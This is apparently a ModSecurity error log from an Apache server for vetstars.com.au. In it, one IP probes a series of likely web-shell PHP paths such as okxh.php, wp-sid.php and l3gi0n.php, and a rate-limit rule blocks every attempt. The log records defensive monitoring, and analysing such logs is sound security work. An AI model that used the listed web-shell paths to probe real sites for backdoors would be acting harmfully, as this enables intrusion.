[Tue Dec 16 16:51:10.236980 2025] [:error] [pid 51991:tid 52000] [client 4.189.124.35:57239] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "aUEdfq7zKCVJSuwV1xZtNgAAAQc"]
[Tue Dec 16 16:51:12.245953 2025] [:error] [pid 18323:tid 18370] [client 4.189.124.35:55998] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "aUEdgDJB6UFxIutsA8YI-gAAAFE"]
[Tue Dec 16 16:51:13.906688 2025] [:error] [pid 18408:tid 18419] [client 4.189.124.35:10079] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "aUEdgTi2Gr8pDzjrVBDo4gAAAMk"]
[Tue Dec 16 16:51:15.746270 2025] [:error] [pid 53940:tid 53943] [client 4.189.124.35:10080] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "aUEdg191PNbcXLVkpR7JXAAAAcA"]
[Tue Dec 16 16:51:21.359271 2025] [:error] [pid 18323:tid 18372] [client 4.189.124.35:59481] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sid.php"] [unique_id "aUEdiTJB6UFxIutsA8YJAwAAAFM"]
[Tue Dec 16 16:51:22.779170 2025] [:error] [pid 12330:tid 12357] [client 4.189.124.35:55966] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sid.php"] [unique_id "aUEdil6iIQEVCIh8V1lTNgAAAZc"]
[Tue Dec 16 16:51:24.734534 2025] [:error] [pid 18322:tid 18336] [client 4.189.124.35:57226] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sid.php"] [unique_id "aUEdjJsCeWBjrw28Xtzi9AAAAAo"]
[Tue Dec 16 16:51:26.379434 2025] [:error] [pid 51991:tid 52014] [client 4.189.124.35:55996] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sid.php"] [unique_id "aUEdjq7zKCVJSuwV1xZtVgAAARU"]
[Tue Dec 16 16:51:28.626431 2025] [:error] [pid 18408:tid 18415] [client 4.189.124.35:10085] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aUEdkDi2Gr8pDzjrVBDo9gAAAMU"]
[Tue Dec 16 16:51:29.863957 2025] [:error] [pid 51991:tid 52004] [client 4.189.124.35:55946] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aUEdka7zKCVJSuwV1xZtXgAAAQs"]
[Tue Dec 16 16:51:32.340472 2025] [:error] [pid 18323:tid 18373] [client 4.189.124.35:59483] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aUEdlDJB6UFxIutsA8YJCwAAAFQ"]
[Tue Dec 16 16:51:33.475240 2025] [:error] [pid 18323:tid 18362] [client 4.189.124.35:10075] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aUEdlTJB6UFxIutsA8YJDAAAAEk"]
[Tue Dec 16 16:51:35.611608 2025] [:error] [pid 12330:tid 12338] [client 4.189.124.35:60241] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aUEdl16iIQEVCIh8V1lTRwAAAYQ"]
[Tue Dec 16 16:51:39.463060 2025] [:error] [pid 12330:tid 12352] [client 4.189.124.35:10101] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aUEdm16iIQEVCIh8V1lTSwAAAZI"]
[Tue Dec 16 16:51:42.798642 2025] [:error] [pid 18322:tid 18334] [client 4.189.124.35:60237] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aUEdnpsCeWBjrw28Xtzi_QAAAAg"]
[Tue Dec 16 16:51:45.837025 2025] [:error] [pid 51991:tid 51998] [client 4.189.124.35:60261] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aUEdoa7zKCVJSuwV1xZtbQAAAQU"]
[Tue Dec 16 16:51:49.456931 2025] [:error] [pid 12330:tid 12352] [client 4.189.124.35:55995] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUEdpV6iIQEVCIh8V1lTVAAAAZI"]
[Tue Dec 16 16:51:53.155069 2025] [:error] [pid 12330:tid 12343] [client 4.189.124.35:55962] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUEdqV6iIQEVCIh8V1lTWAAAAYk"]
[Tue Dec 16 16:51:56.479089 2025] [:error] [pid 18408:tid 18421] [client 4.189.124.35:10097] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUEdrDi2Gr8pDzjrVBDpEAAAAMs"]
[Tue Dec 16 16:51:58.275365 2025] [:error] [pid 18322:tid 18340] [client 4.189.124.35:55973] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUEdrpsCeWBjrw28XtzjBwAAAA4"]
[Tue Dec 16 16:52:00.528616 2025] [:error] [pid 18324:tid 18402] [client 4.189.124.35:59493] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-title.php"] [unique_id "aUEdsKG4um2mD1VpJHJyKQAAAJY"]
[Tue Dec 16 16:52:08.163750 2025] [:error] [pid 12330:tid 12352] [client 4.189.124.35:60737] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-title.php"] [unique_id "aUEduF6iIQEVCIh8V1lTfQAAAZI"]
[Tue Dec 16 16:52:11.092988 2025] [:error] [pid 18323:tid 18371] [client 4.189.124.35:57262] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-title.php"] [unique_id "aUEduzJB6UFxIutsA8YJKQAAAFI"]
[Tue Dec 16 16:52:13.902415 2025] [:error] [pid 18324:tid 18393] [client 4.189.124.35:60271] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-title.php"] [unique_id "aUEdvaG4um2mD1VpJHJyOQAAAI0"]
[Tue Dec 16 16:52:16.699506 2025] [:error] [pid 51991:tid 52003] [client 4.189.124.35:59472] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUEdwK7zKCVJSuwV1xZtygAAAQo"]
[Tue Dec 16 16:52:25.558096 2025] [:error] [pid 18408:tid 18427] [client 4.189.124.35:10060] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUEdyTi2Gr8pDzjrVBDpKAAAANE"]
[Tue Dec 16 16:52:27.243954 2025] [:error] [pid 53940:tid 53967] [client 4.189.124.35:10073] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUEdy191PNbcXLVkpR7JtgAAAdg"]
[Tue Dec 16 16:52:31.864093 2025] [:error] [pid 12330:tid 12343] [client 4.189.124.35:10089] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-home.php"] [unique_id "aUEdz16iIQEVCIh8V1lTjAAAAYk"]
[Tue Dec 16 16:52:34.175588 2025] [:error] [pid 18322:tid 18343] [client 4.189.124.35:55997] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-home.php"] [unique_id "aUEd0psCeWBjrw28XtzjRAAAABE"]
[Tue Dec 16 16:52:36.104982 2025] [:error] [pid 51991:tid 52003] [client 4.189.124.35:53323] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-home.php"] [unique_id "aUEd1K7zKCVJSuwV1xZt5gAAAQo"]
[Tue Dec 16 16:52:37.350086 2025] [:error] [pid 51991:tid 52008] [client 4.189.124.35:55963] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-home.php"] [unique_id "aUEd1a7zKCVJSuwV1xZt6wAAAQ8"]
[Tue Dec 16 16:52:39.096196 2025] [:error] [pid 18408:tid 18419] [client 4.189.124.35:10062] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aUEd1zi2Gr8pDzjrVBDpOgAAAMk"]
[Tue Dec 16 16:52:41.226931 2025] [:error] [pid 18322:tid 18347] [client 4.189.124.35:53322] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aUEd2ZsCeWBjrw28XtzjTAAAABU"]
[Tue Dec 16 16:52:46.215069 2025] [:error] [pid 18322:tid 18336] [client 4.189.124.35:55999] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aUEd3psCeWBjrw28XtzjVgAAAAo"]
[Tue Dec 16 16:52:47.997146 2025] [:error] [pid 18322:tid 18339] [client 4.189.124.35:60741] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aUEd35sCeWBjrw28XtzjWgAAAA0"]
[Tue Dec 16 16:52:53.081638 2025] [:error] [pid 35998:tid 36008] [client 4.189.124.35:60268] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aUEd5RKnhGuuhGxBSLOQfAAAAUc"]
[Tue Dec 16 16:52:53.662749 2025] [:error] [pid 51991:tid 52014] [client 4.189.124.35:53337] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aUEd5a7zKCVJSuwV1xZt-gAAARU"]
[Tue Dec 16 16:52:58.385196 2025] [:error] [pid 12330:tid 12354] [client 4.189.124.35:59491] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aUEd6l6iIQEVCIh8V1lTsQAAAZQ"]
[Tue Dec 16 16:53:00.113991 2025] [:error] [pid 51991:tid 52000] [client 4.189.124.35:10096] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aUEd7K7zKCVJSuwV1xZuDAAAAQc"]
[Tue Dec 16 16:53:02.033587 2025] [:error] [pid 53940:tid 53945] [client 4.189.124.35:55944] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aUEd7l91PNbcXLVkpR7J0AAAAcI"]
[Tue Dec 16 16:53:03.774834 2025] [:error] [pid 53940:tid 53963] [client 4.189.124.35:53330] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aUEd7191PNbcXLVkpR7J0gAAAdQ"]
[Tue Dec 16 16:53:05.170412 2025] [:error] [pid 18323:tid 18366] [client 4.189.124.35:59462] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aUEd8TJB6UFxIutsA8YJXgAAAE0"]
[Tue Dec 16 16:53:07.038136 2025] [:error] [pid 18408:tid 18418] [client 4.189.124.35:10110] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aUEd8zi2Gr8pDzjrVBDpcQAAAMg"]
[Tue Dec 16 16:53:08.779817 2025] [:error] [pid 18324:tid 18387] [client 4.189.124.35:59474] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aUEd9KG4um2mD1VpJHJybAAAAIc"]
[Tue Dec 16 16:53:11.033907 2025] [:error] [pid 51991:tid 52008] [client 4.189.124.35:10054] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aUEd967zKCVJSuwV1xZuGwAAAQ8"]
[Tue Dec 16 16:53:11.976154 2025] [:error] [pid 51991:tid 52011] [client 4.189.124.35:55949] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aUEd967zKCVJSuwV1xZuHQAAARI"]
[Tue Dec 16 16:53:13.941915 2025] [:error] [pid 35998:tid 36004] [client 4.189.124.35:10066] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aUEd-RKnhGuuhGxBSLOQowAAAUM"]
[Tue Dec 16 16:53:18.443048 2025] [:error] [pid 35998:tid 36023] [client 4.189.124.35:57872] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUEd_hKnhGuuhGxBSLOQpwAAAVY"]
[Tue Dec 16 16:53:22.122185 2025] [:error] [pid 12330:tid 12354] [client 4.189.124.35:62908] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUEeAl6iIQEVCIh8V1lT_gAAAZQ"]
[Tue Dec 16 16:53:32.147129 2025] [:error] [pid 18408:tid 18426] [client 4.189.124.35:55988] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aUEeDDi2Gr8pDzjrVBDp3AAAANA"]
[Tue Dec 16 16:53:34.875323 2025] [:error] [pid 18322:tid 18348] [client 4.189.124.35:53370] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aUEeDpsCeWBjrw28XtzjeAAAABY"]
[Tue Dec 16 16:53:36.911692 2025] [:error] [pid 18324:tid 18396] [client 4.189.124.35:10081] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aUEeEKG4um2mD1VpJHJyvAAAAJA"]
[Tue Dec 16 16:53:38.635499 2025] [:error] [pid 12330:tid 12357] [client 4.189.124.35:53346] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aUEeEl6iIQEVCIh8V1lUEwAAAZc"]
[Tue Dec 16 16:53:39.686461 2025] [:error] [pid 53940:tid 53956] [client 4.189.124.35:10098] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l3gi0n.php"] [unique_id "aUEeE191PNbcXLVkpR7J-wAAAc0"]
[Tue Dec 16 16:53:41.758811 2025] [:error] [pid 18324:tid 18386] [client 4.189.124.35:53346] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l3gi0n.php"] [unique_id "aUEeFaG4um2mD1VpJHJywQAAAIY"]
[Tue Dec 16 16:53:42.809093 2025] [:error] [pid 18408:tid 18415] [client 4.189.124.35:57232] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l3gi0n.php"] [unique_id "aUEeFji2Gr8pDzjrVBDp4gAAAMU"]
